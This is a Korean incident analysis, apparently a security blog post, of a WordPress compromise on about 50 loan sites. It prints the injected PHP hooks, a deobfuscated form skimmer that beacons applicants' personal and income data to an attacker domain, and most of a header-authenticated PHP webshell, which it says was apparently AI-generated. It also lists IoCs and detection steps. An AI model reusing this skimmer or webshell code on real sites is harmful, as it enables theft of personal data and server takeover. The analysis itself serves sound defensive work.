한국 소비자 대출 사이트 약 50곳의 functions.php에 동일한 세 줄이 삽입돼 있었다. 대출 신청자의 이름, 연락처, 소득, 희망 금액이 제출 시점마다 공격자 서버로 빠져나갔다. 사이트에는 에러 하나 없었다.
삽입 코드
두 가지 변형이 있었다.
// 그룹 A — 공격자 서버 직접 참조
add_action('wp_head', function() {
echo '<script src="https://ll9sh[.]com/custom.min.js"></script>';
}, 99);
// 그룹 B — 침해된 중간 서버 경유
add_action('wp_head', function() {
echo '<script src="http://[피해사이트]/wp-content/themes/imedica/js/custom.min.js"></script>';
}, 99);
우선순위 99는 의도적이다. 대부분의 플러그인 훅보다 늦게 실행돼 덮어쓰기 충돌을 피한다.
그룹 B는 공격자 도메인을 드러내지 않는다. 함께 침해한 한국 .co.kr 사이트를 배포 서버로 썼다 — 외부 도메인 차단 규칙 우회용이다. 동일 운영사 50개 사이트 전체에 같은 패턴이 들어가 있었다. 단발 침해가 아니라 계획된 다중 사이트 작전이었다.
스키머 분석
ll9sh[.]com/custom.min.js를 역공학했다.
(function () {
var endpoint = atob("aHR0cHM6Ly9sbDlzaC5jb20vanMuanM="); // => https://ll9sh[.]com/js.js
document.addEventListener("submit", function (e) {
var form = e.target;
if (!form.classList.contains("crm-form")) return;
var payload = {
name: form.querySelector('[name="name"]').value,
contact: form.querySelector('[name="contact"]').value,
amount: form.querySelector('[name="amount"]').value,
income: form.querySelector('[name="income"]').value,
loan_type: form.querySelector('[name="loan_type"]').value,
t: Date.now(),
u: location.href,
};
navigator.sendBeacon(endpoint, JSON.stringify(payload));
}, true);
}());
주목할 세 가지:
capture: true— 버블링 전 캡처 단계에서 실행된다. 폼 유효성 검사가 돌기 전에 데이터를 가로챈다. 제출이 실패해도 데이터는 나간다.sendBeacon— 페이지 언로드 후에도 전송을 보장한다.fetch나 XHR이라면 페이지 이동 시 브라우저가 끊을 수 있다.atob()엔드포인트 — 텍스트 검색으로 URL이 노출되지 않는다. 기초적이지만 정적 분석 도구 일부를 회피한다.
그리고 crm-form, loan_type, income — 이 운영사 고유의 폼 필드명을 공격자가 정확히 알고 있었다. 사전 정찰이 있었다는 뜻이다.
백도어
스크립트 삽입 외에 wp-includes/class-wp-update.php가 남아 있었다. WordPress 코어에 이 파일은 없다.
<?php
$secretKey = '[REDACTED]';
$headerKey = $_SERVER['HTTP_X_SECRET_KEY'] ?? '';
if (!hash_equals($secretKey, $headerKey)) {
http_response_code(200);
exit;
}
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 'off');
ini_set('zlib.output_compression', 'Off');
session_start();
/* ===== 명령 실행 ===== */
if (isset($_POST['cmd']) && $_POST['cmd'] !== '') {
$cmd = trim($_POST['cmd']);
$_SESSION['history'][] = $cmd;
if (preg_match('/^cd\s+(.+)$/i', $cmd, $matches)) {
$newDir = realpath($_SESSION['cwd'] . DIRECTORY_SEPARATOR . $matches[1]);
if ($newDir && is_dir($newDir)) {
$_SESSION['cwd'] = $newDir;
} else {
$output = "Directory not found: " . htmlspecialchars($matches[1]);
}
} else {
chdir($_SESSION['cwd']);
$output = shell_exec($cmd . " 2>&1");
}
}
// ... (파일 다운로드, 삭제, ZIP 압축·해제 등 추가 기능)
올바른 X-Secret-Key 헤더 없이 접근하면 빈 HTTP 200이 돌아온다. 인증 통과 즉시 set_time_limit(0)과 ini_set('memory_limit', '-1')을 설정한다 — 장시간 명령 실행을 위한 조치다. cd 명령은 세션 변수로 현재 디렉토리를 추적하는 별도 경로로 처리하고, 파일 업로드·다운로드·삭제·ZIP 압축해제까지 갖춰져 있다.
output_buffering과 zlib.output_compression을 끈 것은 셸 출력을 실시간으로 스트리밍하기 위한 조치다. 단순 파일 드롭 도구가 아니라 인터랙티브 셸로 설계됐다는 뜻이다.
AI 생성 여부를 가장 잘 드러내는 것은 UI가 아니라 주석이다. // 원하는 시크릿 키 설정, // 또는 403, 404 등 원하는 코드, // 실행 시간 무제한 — 자신의 코드를 설명하고 선택지를 제안하는 AI의 전형적인 패턴이다. Bootstrap 5 다크 테마, 한국어 섹션 구분자까지 더하면 프롬프트로 뽑아낸 웹셸임이 거의 확실하다.
흔적
네트워크 계층 은닉은 신경 썼다. X-Secret-Key는 HTTP 헤더로 전달되기 때문에 Apache/nginx 기본 액세스 로그에 남지 않는다. 인증 실패 시 HTTP 200을 반환하는 것도 의도적이다 — 403/404를 기준으로 탐지하는 WAF 시그니처를 피한다.
호스트 계층은 다르다. session_start() 직후 $_SESSION['history'][] = $cmd로 실행한 모든 명령어를 세션 파일에 쌓는다. /tmp/sess_* 또는 /var/lib/php/sessions/ 아래 파일이 삭제되지 않았다면 공격자의 명령 이력이 그대로 남는다. 파일 타임스탬프 조작도 없다. wp-includes/ 내 다른 파일과 mtime을 비교하면 심어진 시점이 드러난다.
AI가 제안하는 스텔스 패턴(헤더 인증, 200 응답)은 적용했지만, 숙련된 운영자라면 당연히 챙겼을 호스트 포렌식 대응은 빠져 있다.
침해지표 (IoC)
- 악성 도메인:
ll9sh[.]com - C2 IP:
172.67.133.240,104.21.5.227(Cloudflare CDN 뒤) - 백도어 파일:
wp-includes/class-wp-update.php - 네트워크 지표: 접근 로그에서
X-Secret-KeyHTTP 헤더가 포함된 요청 - 악성 스크립트:
https://ll9sh[.]com/custom.min.js,https://ll9sh[.]com/js.js - 배포 경로 패턴: imedica 테마 사이트에서
/wp-content/themes/imedica/js/custom.min.js에submit이벤트 리스너 또는sendBeacon호출이 포함된 경우
탐지
functions.php에서add_action('wp_head'를 검색하라. 외부 URL을echo하는 콜백이 있으면 즉시 확인하라.wp verify-checksums를 실행하라.wp-includes/에 추가된 파일을 바로 잡는다.functions.php권한을444로 제한하라. RCE를 얻어도 추가 권한 없이는 수정 불가하다.- CSP
script-src를 설정하라. 주입에 성공해도 브라우저 실행을 차단한다. <script src>도메인을 주기적으로 파싱하고 허용 목록 외 도메인 출현 시 알림을 설정하라. 이 사건은 첫 번째 페이지 요청에서 탐지될 수 있었다.
세 줄의 PHP로 신청자 데이터 전량이 빠져나갔다. 정교한 공격이 아니다. 그리고 그게 더 불편하다.